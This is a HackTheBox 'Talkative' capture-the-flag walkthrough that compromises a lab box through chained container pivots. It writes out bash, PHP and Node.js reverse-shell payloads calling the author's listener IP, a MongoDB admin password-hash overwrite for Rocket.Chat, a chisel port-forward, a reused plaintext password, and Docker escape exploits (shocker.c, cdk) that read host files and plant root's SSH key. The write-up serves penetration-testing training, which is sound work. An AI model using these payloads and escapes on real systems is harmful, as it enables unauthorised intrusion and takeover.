HackTheBox - Talkative
Talkative just retired on Hack The Box, it’s a Hard rated difficulty Linux box. The box solving heavily relied on pivot between application running in docker container, bringing a mix of network and environnement discovery as well as classical exploitation of weakly secured web application. All in all it’s a very good to get more familiar with network and application pivot in containerized environment providing to no usual OS dependency needed for usual recon, pivot and exploitation.
I recommend this box to learn more about container exploitation and it’s great opportunity to learn about new pen-testing tools.
Tl;Dr: In order to get the user flag the first step was to get a shell on the first container after exploiting a command injection vulnerability in a data visualisation application. With this shell you could retrieve admin credentials for user saul
of a Bolt Instance CMS allowing you to pivot to the Bolt container by uploading a PHP shell from the Admin console file editor function. On the container you can write a network discovery script to find a machine with port 22 open, re-using saul
password we found earlier on the machine allows us to access the server and grab the user flag.
In order to retrieve the root flag you had to connect to the non-secured MongoDB instance running on the server to reset the admin account password of a [Rocket.chat](http://Rocket.chat)
application. Once Admin on the application you can exploit a vulnerability to get a shell on its container. This last container have the CAP_DAC_READ_SEARCH
capabilities set, allowing the container to read file from host. Exploiting this vulnerability allows us to read the /root/root.txt
flag.
Alright! Let’s get into the details now!
First thing first, let’s add the box IP to the hosts file:
1 | [hg8@archbook ~]$ echo "10.129.227.113 talkative.htb" >> /etc/hosts |
And let’s start!
User flag
Recon
Let’s start with the classic nmap
scan to see which ports are open on the box:
1 | [hg8@archbook ~]$ nmap -sV -sT -sC talkative.htb |
Aside from the usual SSH port we have:
- A
Bolt CMS
landing page running on port8080
, looks like a simple landing presenting the project. Some information about the team’s member usernames and app running might be useful to save. - A
jamovi
instance running on port8080
. Jamovi an open-source software for statistical analysis. We can note that no authentication is required to access all the functionalities. - An authentication page for
Rocket.Chat
application on port3000
.Rocket.Chat
is an open-source group chat application. - Port
8081
and8082
both returns404
.
The initial footstep took me a while to figure out, after a bunch of fuzzing and trying to find hidden endpoints with no success I decided to focus on the jamovi
instance running with no authentication, especially since the homepage explains:
Hi
We found a security issue with this version of jamovi, and out of an abundance of caution, we recommend that you update to a newer version when you can.
You can continue to use this version of jamovi, but we’d advise you not to open data files from sources you do not trust until you update to a newer version. Sorry for the inconvenience.
Update to the latest version today.
– the jamovi team
In the “Open” menu we see an interesting entry stored in the root folder: bolt-administration.omv
. This is very probably data from the Bolt CMS application running on port 80
and might contains sensitive information..omv
seems to be a jamovi export data file format, which turn to be a simple zip file.
Unfortunately we can’t open the file directly in jamovi
since the running version is incompatible with the file. Let’s find another way to get it.
I couldn’t find any useful public CVE or exploit on jamovi
, however while researching the documentation of jamovi
, I stumble upon this interesting article:
about arbitrary code
Some analyses in jamovi can be created using R code with the Rj Editor. This allows for great flexibility in what analyses can be run, however due to the flexibility of R code, it’s possible for someone to write an analysis which does malicious things, such as deleting files. This is a similar situation to other software which allows arbitrary code, such as macros in Microsoft Word or Excel.
https://www.jamovi.org/about-arbitrary-code.html
Well that’s interesting, especially since the Rj Editor
is available on our instance. Being not familiar with R language I checked the documentation and learned why jamovi
was warning about arbitrary code execution.
R Language have a function to Invoke a System command:
Description
system invokes the OS command specified by command.
Usage
system(command, intern = FALSE, ignore.stdout = FALSE, ignore.stderr = FALSE, wait = TRUE, input = NULL, show.output.on.console = TRUE, minimized = FALSE, invisible = TRUE, timeout = 0)
https://stat.ethz.ch/R-manual/R-devel/library/base/html/system.html
Let’s see what happen when we try to run a reverse shell.
RCE on jamovi Rj Editor
First, as usual, let’s open our nc
listener:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
And input a Bash reverse shell into Rj Editor
:
1 | system("bash -c 'bash -i >& /dev/tcp/10.10.14.19/8585 0>&1'") |
We get a warning about execution of arbitrary code, clicking “Enable” allows the execution of the reverse shell:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
We can immediately see that we are running in a Docker container:
1 | root@b06821bbda78:/# cat /proc/1/cgroup |
Pivot jamovi → Bolt
Before trying any crazy exploit of container escape let’s see what’s inside this bolt-administration.omv
file we found earlier.
1 | root@b06821bbda78:/# l /root |
We can download the file on our machine using nc
it to analyze its content:
1 | [hg8@archbook ~]$ nc -lvp 4444 < bolt-administration.omv |
1 | root@b06821bbda78:/# nc 10.10.14.19 4444 > /root/bolt-administration.omv |
Bummer, nc
is not available.
In that case the easiest way to download the file is to use an netcat
wrapper. I will use [pwncat-](https://github.com/calebstewart/pwncat)cs
.
We need to restart our reverse by using the pwncat
listener:
1 | [hg8@archbook ~]$ pwncat-cs -lp 8585 |
Let’s now unzip it and take a look at its content:
1 | [hg8@archbook ~]$ unzip bolt-administration.omv |
The xdata.json
file looks promising:
1 | [hg8@archbook ~]$ jq . xdata.json |
We got passwords for several accounts. We can try them on the Bolt CMS
admin page running on http://talkative.htb/bolt
. None of them seems to works until we try with Bolt CMS default admin username (admin
) with the password of saul
(jeO09ufhWD<s
):
Thanks to the file editor accessible on the administration panel, we can easily edit any PHP file to upload reverse shell:
1 | exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.19/8585 0>&1'"); |
Reloading the page makes our listener to receive a connection:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
Pivot Bolt → Saul user
Once again we land on a new Docker container. This time recon doesn’t yield anything interesting at all. The recon part is more difficult than usual because most of common tools are not present on the container (ping
, curl
, wget
, nc
, nmap
…)
After being stuck with no results for way too long I decide to create poor man host discovery script to see if any host accessible from our container have their port SSH (22) open:
1 | #!/bin/bash |
1 | www-data@46c004bb2269:/tmp$ bash test.sh |
Bingo, let’s try to see if any users from the Bolt xdata.json
file re-use his password. We got lucky, saul
do:
1 | [hg8@archbook ~]$ pwncat-cs -lp 8585 |
Root flag
Recon
Usual recon doesn’t yield any interesting files or mis-configuration that could easily trigger privilege escalation. However while monitoring pspy
I noticed a script referring mongo
running as root
.
1 | saul@talkative:~$ ./tmp/pspy64 |
It’s surprising because MongoDB usually run on port 27017
which doesn’t appears in netstat
:
1 | saul@talkative:/tmp$ netstat -tulpn | grep LISTEN |
This probably means that the MongoDB instance is running on another docker container. Let’s dig a bit on this path to see if we can retrieve sensitive informations from the database.
Pivot saul → Rocket.chat
First let’s re-use our script to find in which host mongo
is running:
1 | #!/bin/bash |
We find the MongoDB instance running on host 172.17.0.2:27017
:
1 | saul@talkative:/tmp$ bash host_discovery.sh |
Since we don’t have SSH access, Let’s use chisel to forward the mongobd
port to our localhost in order to see what is in the database:
1 | saul@talkative:/tmp$ wget 10.10.14.19:8000/chisel && chmod +x chisel |
Let’s open the listener on our machine:
1 | [hg8@archbook ~]$ chisel server -p 8585 --reverse |
And the client pointing to port 27017
on talkative host:
1 | saul@talkative:/tmp$ ./chisel client 10.10.14.19:8585 R:27017:172.17.0.2:27017 |
Once connected we can using mongosh
(MongoDB Shell) to read the database content. Good news is, the database doesn’t require authentication:
1 | [hg8@archbook ~]$ mongosh "mongodb://127.0.0.1:27017" |
We have access to the accounts information of the Rocket.chat application running on port 3000.
We are not going to try cracking the bcrypt
hash, it would be no use since we have write access to the database. The rocket.chat documentation explains how to reset an admin user password to 12345
:
1 | rs0 [direct: primary] meteor> db.getCollection('users').updateOne({username:"admin"}, { $set: {"services" : { "password" : {"bcrypt" : "$2a$10$n9CM8OgInDlwpvjLKLPML.eizXIzLlRtgCh3GRLafOdR9ldAUh/KG" } } } }) |
We can now connect to the Rocket.Chat application as admin we can quickly gather more information (like version number):
Searching for exploit on this version returns CVE-2021-22911: “Pre-Auth Blind NoSQL Injection leading to Remote Code Execution in Rocket Chat 3.12.1”.
RCE ( Autenticated - Admin )
Rocket.Chat has a feature called Integrations that allows creating incoming and outgoing web hooks. These web hooks can have scripts associated with them that are executed when the web hook is triggered.
We create a integration with a remote execution script.
Let’s give it a try.
It’s a bit of struggle to open a reverse shell, rocket.chat is very probably also running in a docker container with no nc
, bash
nor python
available.
After searching a bit we can find this Node.js reverse shell that should give better luck since it doesn’t require any external tools. Let’s build our payload:
1 | const require = console.log.constructor('return process.mainModule.require')(); |
Then we create the Integration:
Once saved we can trigger the webhook to receive the connection on our reverse shell:
1 | [hg8@archbook ~]$ curl http://talkative.htb:3000/hooks/3FBhk4BCPEsMTxWeh/Sej9ohSu6mfE9pdQvbR97hHAfSWm7pxyWYZu8qvde3BRkazK |
1 | [hg8@archbook ~]$ pwncat-cs -lp 8544 __main__.py:164 |
Once again pwncat-cs
comes useful to upload our enumeration script since wget
nor curl
is available on the box:
1 |
|
Once again, our enumeration do not returns any useful information, but that’s expected when running in a docker container. Knowing that we exploited all the services running on this box it might be time to try a container escape vulnerability.
I decided to give a try to cdk
which is an open-sourced container penetration toolkit.
Once run we get notified that the CAP_DAC_READ_SEARCH
capability is set on the container:
1 | (remote) root@c150397ccd63:/root# ./cdk evaluate |
According the manual, the CAP_DAC_READ_SEARCH
capability allows to bypass file read permission checks:
1 | [hg8@archbook ~]$ man capabilities |
Let’s see if we can exploit this capability to read the /root/root.txt
flag from the host:
1 | (remote) root@c150397ccd63:/root# ./cdk run cap-dac-read-search /etc/hosts /root/root.txt |
To see what happened behind the hood of cdk
we can take a retrieve the original exploit used, named [shocker.c](http://stealth.openwall.net/xSports/shocker.c)
. Reading through the source code to understand how it works.
By editing the exploit to our current situation we can also retrieve the flag:
1 | [hg8@archbook ~]$ sed -i 's/\/.dockerinit/\/etc\/hostname/g' shocker.c |
Then whiting the container:
1 | (remote) root@c150397ccd63:/root# chmod +x shocker && ./shocker |
Arbitrary file read → Root Shell
Well arbitrary file read are cool but can we say we finished the box without a proper shell ?
While researching a bit more on the shocker.c
exploit I stumble upon a variant exploit [exploit_dac-read-search_dac-override.c](https://github.com/akusec/Docker_Exploits/blob/main/Capabilities/DAC_READ_SEARCH/exploit_dac-read-search_dac-override.c)
using CAP_DAC_OVERRIDE
capability to write arbitrary file.
Note: DAC_OVERRIDE
is activated by default on containers but alone it’s not a risk for container breakout.
Let’s build the exploit to add our SSH key to the root
account authorized_keys
file.
1 | [hg8@archbook ~]$ wget https://raw.githubusercontent.com/akusec/Docker_Exploits/main/Capabilities/DAC_READ_SEARCH/exploit_dac-read-search_dac-override.c |
Then in our container:
1 | (remote) root@c150397ccd63:/tmp# cat authorized_keys |
The file successfully got written. Let’s now go back to the Bolt CMS container shell (only container to have SSH access to the main server) and connect using our newly added SSH key:
1 | (remote) www-data@8ad3cb438f7e:/tmp$ chmod 600 id_ed25519_hg8 |
References
- CVE-2021-22911: Pre-Auth Blind NoSQL Injection leading to Remote Code Execution in Rocket Chat 3.12.1
- shocker.c: docker PoC VMM-container breakout
- exploit_dac-read-search_dac-override.c: Shocker exploit + overwrite
- Docker breakout exploit analysis.
That’s it folks! As always do not hesitate to contact me for any questions or feedback!
See you next time ;)
-hg8